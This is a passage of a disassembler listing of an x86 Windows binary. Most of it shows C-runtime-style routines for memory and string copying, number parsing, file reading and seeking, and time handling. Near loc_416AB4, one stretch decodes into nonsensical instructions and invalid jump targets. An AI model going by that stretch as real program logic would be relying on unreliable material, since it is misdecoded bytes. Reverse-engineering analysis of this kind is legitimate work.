; ---------------------------------------------------------------------------
loc_41656C: ; CODE XREF: sub_416470:loc_4164CCj
; DATA XREF: sub_416470+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_416574: ; CODE XREF: sub_416470:loc_4164CCj
; DATA XREF: sub_416470+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41657C: ; CODE XREF: sub_416470:loc_4164CCj
; DATA XREF: sub_416470+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_416584: ; CODE XREF: sub_416470:loc_4164CCj
; DATA XREF: sub_416470+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41658C: ; CODE XREF: sub_416470:loc_4164CCj
; DATA XREF: sub_416470+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_416594: ; CODE XREF: sub_416470:loc_4164CCj
; DATA XREF: sub_416470+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41659C: ; CODE XREF: sub_416470:loc_4164CCj
; DATA XREF: sub_416470+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4165AF: ; CODE XREF: sub_416470:loc_4164CCj
; DATA XREF: sub_416470:off_41654Co
jmp ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4165B8 dd offset loc_4165C8 ; DATA XREF: sub_416470+35r
; sub_416470+92r ...
dd offset loc_4165D0
dd offset loc_4165DC
dd offset loc_4165F0
; ---------------------------------------------------------------------------
loc_4165C8: ; CODE XREF: sub_416470+35j
; sub_416470+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4165D0: ; CODE XREF: sub_416470+35j
; sub_416470+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4165DC: ; CODE XREF: sub_416470+35j
; sub_416470+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4165F0: ; CODE XREF: sub_416470+35j
; sub_416470+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416608: ; CODE XREF: sub_416470+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41663C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_416630
std
rep movsd
cld
jmp ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_416630: ; CODE XREF: sub_416470+1B1j
; sub_416470+208j ...
neg ecx
jmp ds:off_416700[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41663C: ; CODE XREF: sub_416470+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_416654
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_416654+4[eax*4]
; ---------------------------------------------------------------------------
loc_416654: ; CODE XREF: sub_416470+1D6j
; DATA XREF: sub_416470+1DDr
jmp ds:off_416750[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_416667+1
dd offset loc_416688
; ---------------------------------------------------------------------------
mov al, 66h
inc ecx
loc_416667: ; DATA XREF: sub_416470+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_416630
std
rep movsd
cld
jmp ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_416688: ; DATA XREF: sub_416470+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_416630
std
rep movsd
cld
jmp ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_416630
std
rep movsd
cld
jmp ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_416704
dd offset loc_41670C
dd offset loc_416714
dd offset loc_41671C
dd offset loc_416724
dd offset loc_41672C
dd offset loc_416734
off_416700 dd offset loc_416747 ; DATA XREF: sub_416470+1C2r
; ---------------------------------------------------------------------------
loc_416704: ; DATA XREF: sub_416470+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41670C: ; DATA XREF: sub_416470+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_416714: ; DATA XREF: sub_416470+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41671C: ; DATA XREF: sub_416470+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_416724: ; DATA XREF: sub_416470+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41672C: ; DATA XREF: sub_416470+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_416734: ; DATA XREF: sub_416470+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_416747: ; CODE XREF: sub_416470+1C2j
; DATA XREF: sub_416470:off_416700o
jmp ds:off_416750[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_416750 dd offset loc_416760 ; DATA XREF: sub_416470+1B7r
; sub_416470:loc_416654r ...
dd offset loc_416768
dd offset loc_416778
dd offset loc_41678C
; ---------------------------------------------------------------------------
loc_416760: ; CODE XREF: sub_416470+1B7j
; sub_416470:loc_416654j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416768: ; CODE XREF: sub_416470+1B7j
; sub_416470:loc_416654j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_416778: ; CODE XREF: sub_416470+1B7j
; sub_416470:loc_416654j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41678C: ; CODE XREF: sub_416470+1B7j
; sub_416470:loc_416654j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_416470 endp
; =============== S U B R O U T I N E =======================================
sub_4167A5 proc near ; CODE XREF: sub_404DF9+34p
; sub_404DF9+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_415DBB
pop ecx
pop ecx
retn
sub_4167A5 endp
; =============== S U B R O U T I N E =======================================
sub_4167B3 proc near ; CODE XREF: sub_416820+4p
arg_0 = dword ptr 4
push esi
push ds:dword_46AAF4
call sub_41AC28
mov edx, ds:dword_46AAF4
pop ecx
mov ecx, ds:dword_46AAF0
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_416812
push edx
call sub_41AC28
add eax, 10h
push eax
push ds:dword_46AAF4
call sub_4174BF
add esp, 0Ch
test eax, eax
jnz short loc_4167F5
retn
; ---------------------------------------------------------------------------
loc_4167F5: ; CODE XREF: sub_4167B3+3Fj
mov ecx, ds:dword_46AAF0
sub ecx, ds:dword_46AAF4
mov ds:dword_46AAF4, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov ds:dword_46AAF0, ecx
loc_416812: ; CODE XREF: sub_4167B3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add ds:dword_46AAF0, 4
retn
sub_4167B3 endp
; =============== S U B R O U T I N E =======================================
sub_416820 proc near ; CODE XREF: sub_404EE6+1Ap
; sub_4200CE+5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4167B3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_416820 endp
; =============== S U B R O U T I N E =======================================
sub_416832 proc near ; DATA XREF: seg002:00423018o
push 80h
call sub_415DA9
test eax, eax
pop ecx
mov ds:dword_46AAF4, eax
jnz short loc_416853
push 18h
call sub_417BCE
mov eax, ds:dword_46AAF4
pop ecx
loc_416853: ; CODE XREF: sub_416832+12j
and dword ptr [eax], 0
mov eax, ds:dword_46AAF4
mov ds:dword_46AAF0, eax
retn
sub_416832 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416861 proc near ; CODE XREF: sub_416A69+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_416879: ; CODE XREF: sub_416861+46j
cmp ds:dword_437F5C, 1
jle short loc_416891
movzx eax, bl
push 8
push eax
call sub_418536
pop ecx
pop ecx
jmp short loc_4168A0
; ---------------------------------------------------------------------------
loc_416891: ; CODE XREF: sub_416861+1Fj
mov ecx, ds:off_437D50
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_4168A0: ; CODE XREF: sub_416861+2Ej
test eax, eax
jz short loc_4168A9
mov bl, [esi]
inc esi
jmp short loc_416879
; ---------------------------------------------------------------------------
loc_4168A9: ; CODE XREF: sub_416861+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_4168B7
or [ebp+arg_C], 2
jmp short loc_4168BC
; ---------------------------------------------------------------------------
loc_4168B7: ; CODE XREF: sub_416861+4Ej
cmp bl, 2Bh
jnz short loc_4168C2
loc_4168BC: ; CODE XREF: sub_416861+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_4168C2: ; CODE XREF: sub_416861+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_416A59
cmp eax, 1
jz loc_416A59
cmp eax, 24h
jg loc_416A59
push 10h
test eax, eax
pop ecx
jnz short loc_41690A
cmp bl, 30h
jz short loc_4168F4
mov [ebp+arg_8], 0Ah
jmp short loc_416926
; ---------------------------------------------------------------------------
loc_4168F4: ; CODE XREF: sub_416861+88j
mov al, [esi]
cmp al, 78h
jz short loc_416907
cmp al, 58h
jz short loc_416907
mov [ebp+arg_8], 8
jmp short loc_416926
; ---------------------------------------------------------------------------
loc_416907: ; CODE XREF: sub_416861+97j
; sub_416861+9Bj
mov [ebp+arg_8], ecx
loc_41690A: ; CODE XREF: sub_416861+83j
cmp [ebp+arg_8], ecx
jnz short loc_416926
cmp bl, 30h
jnz short loc_416926
mov al, [esi]
cmp al, 78h
jz short loc_41691E
cmp al, 58h
jnz short loc_416926
loc_41691E: ; CODE XREF: sub_416861+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_416926: ; CODE XREF: sub_416861+91j
; sub_416861+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_416936: ; CODE XREF: sub_416861+16Cj
cmp ds:dword_437F5C, 1
movzx esi, bl
jle short loc_41694E
push 4
push esi
call sub_418536
pop ecx
pop ecx
jmp short loc_416959
; ---------------------------------------------------------------------------
loc_41694E: ; CODE XREF: sub_416861+DFj
mov eax, ds:off_437D50
mov al, [eax+esi*2]
and eax, 4
loc_416959: ; CODE XREF: sub_416861+EBj
test eax, eax
jz short loc_416965
movsx ecx, bl
sub ecx, 30h
jmp short loc_416997
; ---------------------------------------------------------------------------
loc_416965: ; CODE XREF: sub_416861+FAj
cmp ds:dword_437F5C, 1
jle short loc_416979
push edi
push esi
call sub_418536
pop ecx
pop ecx
jmp short loc_416984
; ---------------------------------------------------------------------------
loc_416979: ; CODE XREF: sub_416861+10Bj
mov eax, ds:off_437D50
mov ax, [eax+esi*2]
and eax, edi
loc_416984: ; CODE XREF: sub_416861+116j
test eax, eax
jz short loc_4169D2
movsx eax, bl
push eax
call sub_41AC51
pop ecx
mov ecx, eax
sub ecx, 37h
loc_416997: ; CODE XREF: sub_416861+102j
cmp ecx, [ebp+arg_8]
jnb short loc_4169D2
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_4169BC
jnz short loc_4169B6
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_4169BC
loc_4169B6: ; CODE XREF: sub_416861+147j
or [ebp+arg_C], 4
jmp short loc_4169C5
; ---------------------------------------------------------------------------
loc_4169BC: ; CODE XREF: sub_416861+145j
; sub_416861+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_4169C5: ; CODE XREF: sub_416861+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_416936
; ---------------------------------------------------------------------------
loc_4169D2: ; CODE XREF: sub_416861+125j
; sub_416861+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_4169F0
test edx, edx
jz short loc_4169EA
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4169EA: ; CODE XREF: sub_416861+181j
and [ebp+var_8], 0
jmp short loc_416A3D
; ---------------------------------------------------------------------------
loc_4169F0: ; CODE XREF: sub_416861+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_416A16
test cl, 1
jnz short loc_416A3D
and ecx, 2
jz short loc_416A0D
cmp [ebp+var_8], 80000000h
ja short loc_416A16
loc_416A0D: ; CODE XREF: sub_416861+1A1j
test ecx, ecx
jnz short loc_416A3D
cmp [ebp+var_8], eax
jbe short loc_416A3D
loc_416A16: ; CODE XREF: sub_416861+197j
; sub_416861+1AAj
test byte ptr [ebp+arg_C], 1
mov ds:dword_469474, 22h
jz short loc_416A2C
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_416A3D
; ---------------------------------------------------------------------------
loc_416A2C: ; CODE XREF: sub_416861+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_416A3D: ; CODE XREF: sub_416861+18Dj
; sub_416861+19Cj ...
test edx, edx
jz short loc_416A46
mov eax, [ebp+var_4]
mov [edx], eax
loc_416A46: ; CODE XREF: sub_416861+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_416A54
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_416A54: ; CODE XREF: sub_416861+1E9j
mov eax, [ebp+var_8]
jmp short loc_416A64
; ---------------------------------------------------------------------------
loc_416A59: ; CODE XREF: sub_416861+66j
; sub_416861+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_416A62
mov [eax], edi
loc_416A62: ; CODE XREF: sub_416861+1FDj
xor eax, eax
loc_416A64: ; CODE XREF: sub_416861+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_416861 endp
; =============== S U B R O U T I N E =======================================
sub_416A69 proc near ; CODE XREF: seg000:004058AAp
; seg000:00410478p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_416861
add esp, 10h
retn
sub_416A69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A80 proc near ; CODE XREF: seg000:00405653p
; seg000:00405857p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_415CD0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_41AD1D
add esp, 10h
leave
retn
sub_416A80 endp
; ---------------------------------------------------------------------------
loc_416AB4: ; CODE XREF: seg000:0040543Bp
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp-10h]
push eax
call ds:dword_42105C ; GetLocalTime
lea eax, [ebp-20h]
push eax
call near ptr 3D0000h
mov ax, [di-16h]
cmp ax, ds:word_46946A
jnz short loc_416B19
mov ax, [ebp-18h]
cmp ax, ds:word_469468
jnz short loc_416B19
mov ax, [ebp-1Ah]
cmp ax, ds:word_469466
jnz short loc_416B19
mov ax, [ebp-1Eh]
cmp ax, ds:word_469462 ; CODE XREF: seg000:00416B32j
jnz short loc_416B19
mov ax, [ebp-20h]
cmp ax, ds:word_469460
jnz short loc_416B19
mov eax, ds:dword_469458 ; CODE XREF: seg000:00416B38j
jmp short loc_416B5E
; ---------------------------------------------------------------------------
loc_416B19: ; CODE XREF: seg000:00416ADCj
; seg000:00416AE9j ...
lea eax, [ebp-0CCh]
push eax
call near ptr 3D0000h
imul eax, [ebx+1B74FFF8h], 7502F883h
adc ah, [esi-7Dh]
jge short near ptr loc_416AFC+6
add [ebx+ecx-7Dh], dh
jge short near ptr loc_416B12+4
add [ebp+eax+6Ah], dh
add [eax-15h], ebx
pop es
xor eax, eax
jmp short loc_416B49
; ---------------------------------------------------------------------------
or eax, 0FFFFFFFFh
loc_416B49: ; CODE XREF: seg000:00416B44j
push esi
push edi
lea esi, [ebp-20h]
mov edi, offset word_469460
movsd
movsd
movsd
movsd
pop edi
mov ds:dword_469458, eax
pop esi
loc_416B5E: ; CODE XREF: seg000:00416B17j
push eax
movzx eax, word ptr [ebp-4]
push eax
movzx eax, word ptr [ebp-6]
push eax
movzx eax, word ptr [ebp-8]
push eax
movzx eax, word ptr [ebp-0Ah]
push eax
movzx eax, word ptr [ebp-0Eh]
push eax
movzx eax, word ptr [ebp-10h]
push eax
call sub_41B7CE
mov ecx, [ebp+8]
add esp, 1Ch
test ecx, ecx
jz short locret_416B8E
mov [ecx], eax
locret_416B8E: ; CODE XREF: seg000:00416B8Aj
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B90 proc near ; CODE XREF: seg000:00405ABBp
; sub_40B43D+45p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_416BB4
xor eax, eax
jmp loc_416C5D
; ---------------------------------------------------------------------------
loc_416BB4: ; CODE XREF: sub_416B90+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_416BC7
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_416BD3
; ---------------------------------------------------------------------------
loc_416BC7: ; CODE XREF: sub_416B90+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_416BD3
; ---------------------------------------------------------------------------
loc_416BD0: ; CODE XREF: sub_416B90+C4j
mov ecx, [ebp+arg_0]
loc_416BD3: ; CODE XREF: sub_416B90+35j
; sub_416B90+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_416C05
mov eax, [esi+4]
test eax, eax
jz short loc_416C05
cmp ecx, eax
mov edi, ecx
jb short loc_416BEA
mov edi, eax
loc_416BEA: ; CODE XREF: sub_416B90+56j
push edi
push dword ptr [esi]
push ebx
call sub_4155B0
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_416C50
; ---------------------------------------------------------------------------
loc_416C05: ; CODE XREF: sub_416B90+49j
; sub_416B90+50j
cmp ecx, [ebp+arg_C]
jb short loc_416C38
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_416C1B
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_416C1B: ; CODE XREF: sub_416B90+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41B969
add esp, 0Ch
test eax, eax
jz short loc_416C62
cmp eax, 0FFFFFFFFh
jz short loc_416C68
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_416C50
; ---------------------------------------------------------------------------
loc_416C38: ; CODE XREF: sub_416B90+78j
push esi
call sub_41B890
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_416C6C
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_416C50: ; CODE XREF: sub_416B90+73j
; sub_416B90+A6j
cmp [ebp+arg_0], 0
jnz loc_416BD0
mov eax, [ebp+arg_8]
loc_416C5D: ; CODE XREF: sub_416B90+1Fj
; sub_416B90+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_416C62: ; CODE XREF: sub_416B90+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_416C6C
; ---------------------------------------------------------------------------
loc_416C68: ; CODE XREF: sub_416B90+9Fj
or dword ptr [esi+0Ch], 20h
loc_416C6C: ; CODE XREF: sub_416B90+B2j
; sub_416B90+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_416C5D
sub_416B90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C78 proc near ; CODE XREF: sub_405B07+2B2p
; sub_4060E4+101p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_416C91: ; CODE XREF: sub_416C78+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_416C91
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_416CB9
mov edx, ds:dword_469470
loc_416CB9: ; CODE XREF: sub_416C78+39j
; sub_416C78+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_416CD9
test al, al
jz short loc_416CD9
inc edx
jmp short loc_416CB9
; ---------------------------------------------------------------------------
loc_416CD9: ; CODE XREF: sub_416C78+58j
; sub_416C78+5Cj
mov ebx, edx
loc_416CDB: ; CODE XREF: sub_416C78+81j
mov al, [edx]
test al, al
jz short loc_416CFF
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_416CFB
inc edx
jmp short loc_416CDB
; ---------------------------------------------------------------------------
loc_416CFB: ; CODE XREF: sub_416C78+7Ej
and byte ptr [edx], 0
inc edx
loc_416CFF: ; CODE XREF: sub_416C78+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov ds:dword_469470, edx
and eax, ebx
pop ebx
leave
retn
sub_416C78 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_416D20 proc near ; CODE XREF: seg000:00406548p
; sub_40998E+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_416DA3
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_416D44
shr ecx, 2
jnz short loc_416DB1
jmp short loc_416D65
; ---------------------------------------------------------------------------
loc_416D44: ; CODE XREF: sub_416D20+1Bj
; sub_416D20+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_416D72
test al, al
jz short loc_416D7A
test esi, 3
jnz short loc_416D44
mov ebx, ecx
shr ecx, 2
jnz short loc_416DB1
loc_416D60: ; CODE XREF: sub_416D20+8Fj
and ebx, 3
jz short loc_416D72
loc_416D65: ; CODE XREF: sub_416D20+22j
; sub_416D20+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_416D9E
dec ebx
jnz short loc_416D65
loc_416D72: ; CODE XREF: sub_416D20+2Bj
; sub_416D20+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_416D7A: ; CODE XREF: sub_416D20+2Fj
test edi, 3
jz short loc_416D94
loc_416D82: ; CODE XREF: sub_416D20+72j
mov [edi], al
inc edi
dec ecx
jz loc_416E16
test edi, 3
jnz short loc_416D82
loc_416D94: ; CODE XREF: sub_416D20+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_416E07
loc_416D9B: ; CODE XREF: sub_416D20+7Fj
; sub_416D20+F4j
mov [edi], al
inc edi
loc_416D9E: ; CODE XREF: sub_416D20+4Dj
dec ebx
jnz short loc_416D9B
pop ebx
pop esi
loc_416DA3: ; CODE XREF: sub_416D20+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_416DA9: ; CODE XREF: sub_416D20+A9j
; sub_416D20+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_416D60
loc_416DB1: ; CODE XREF: sub_416D20+20j
; sub_416D20+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_416DA9
test dl, dl
jz short loc_416DFB
test dh, dh
jz short loc_416DF1
test edx, 0FF0000h
jz short loc_416DE7
test edx, 0FF000000h
jnz short loc_416DA9
mov [edi], edx
jmp short loc_416DFF
; ---------------------------------------------------------------------------
loc_416DE7: ; CODE XREF: sub_416D20+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_416DFF
; ---------------------------------------------------------------------------
loc_416DF1: ; CODE XREF: sub_416D20+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_416DFF
; ---------------------------------------------------------------------------
loc_416DFB: ; CODE XREF: sub_416D20+ADj
xor edx, edx
mov [edi], edx
loc_416DFF: ; CODE XREF: sub_416D20+C5j
; sub_416D20+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_416E11
loc_416E07: ; CODE XREF: sub_416D20+79j
xor eax, eax
loc_416E09: ; CODE XREF: sub_416D20+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_416E09
loc_416E11: ; CODE XREF: sub_416D20+E5j
and ebx, 3
jnz short loc_416D9B
loc_416E16: ; CODE XREF: sub_416D20+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_416D20 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_416E9A
mov edi, [esp+14h]
test edi, edi
jz short loc_416E3D
cmp edi, 1
jz short loc_416E3D
cmp edi, 2
jnz short loc_416E9A
loc_416E3D: ; CODE XREF: seg000:00416E31j
; seg000:00416E36j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_416E54
push esi
call sub_41BBF9
add [esp+14h], eax
pop ecx
xor edi, edi
loc_416E54: ; CODE XREF: seg000:00416E45j
push esi
call sub_4186C4
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_416E69
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_416E7D
; ---------------------------------------------------------------------------
loc_416E69: ; CODE XREF: seg000:00416E60j
test al, 1
jz short loc_416E7D
test al, 8
jz short loc_416E7D
test ah, 4
jnz short loc_416E7D
mov dword ptr [esi+18h], 200h
loc_416E7D: ; CODE XREF: seg000:00416E67j
; seg000:00416E6Bj ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_41BB5F
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_416EA7
; ---------------------------------------------------------------------------
loc_416E9A: ; CODE XREF: seg000:00416E29j
; seg000:00416E3Bj
mov ds:dword_469474, 16h
or eax, 0FFFFFFFFh
loc_416EA7: ; CODE XREF: seg000:00416E98j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EB0 proc near ; CODE XREF: seg000:0040D6ACp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_416EE1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
